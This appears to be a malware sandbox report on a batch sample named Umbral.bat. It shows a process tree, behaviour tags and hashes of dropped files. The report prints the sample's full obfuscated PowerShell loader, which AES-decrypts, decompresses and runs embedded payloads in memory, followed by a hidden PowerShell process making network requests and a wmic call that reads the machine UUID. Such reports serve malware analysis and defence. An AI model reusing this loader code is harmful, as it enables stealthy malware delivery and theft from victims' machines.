C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JBDmY5Rm32yFC2eFK/K6i05UDHc2UnMQkJErjy0URRw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIqIhLZZ4mABnJftMk1zig=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LaItK=New-Object System.IO.MemoryStream(,$param_var); $BkPnB=New-Object System.IO.MemoryStream; $dqAwB=New-Object System.IO.Compression.GZipStream($LaItK, [IO.Compression.CompressionMode]::Decompress); $dqAwB.CopyTo($BkPnB); $dqAwB.Dispose(); $LaItK.Dispose(); $BkPnB.Dispose(); $BkPnB.ToArray();}function execute_function($param_var,$param2_var){ $aRoAH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GgeTI=$aRoAH.EntryPoint; $GgeTI.Invoke($null, $param2_var);}$cxvio = 'C:\Users\Admin\AppData\Local\Temp\Umbral.bat';$host.UI.RawUI.WindowTitle = $cxvio;$jncrM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cxvio).Split([Environment]::NewLine);foreach ($EHnfk in $jncrM) { if ($EHnfk.StartsWith('qqYQzFlhLQoZwGnqjKHD')) { $uHvVU=$EHnfk.Substring(20); break; }}$payloads_var=[string[]]$uHvVU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:5028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵PID:2804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3568
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3332
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize328B
MD529088443af5a1e638b4a86d4077bc7c6
SHA13d1a64314a18fbf9bbb3003bc0e993946bde77ad
SHA256ce224e2da8f2036888e8937c65d8ed42867972625a78be0db06ece498364de7c
SHA5128264b735de19376a92f0bba06115bc755fb8ef10c1f4c0a96dcfe6f83585e28c203a1f6ae5a7504a6291c94417c11d4930044ce3c1d953b0d79624ad20597e39
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C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize330B
MD5605bd1e92d9d39fdcdb29473f1620148
SHA148a040e5b49055633e9ed054b75c8e976debb61b
SHA2563d583257f95d0a52508bd142023b39213dbce4244af798f32cb1ea15f5ea5f4d
SHA5127fd66e940e377d4a6e1792eff9ce257f41438fafcd41739c12f7394c3f7b887ec350474146763c39538048d485ceb7517b97205718210234cbc80956abb70516
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4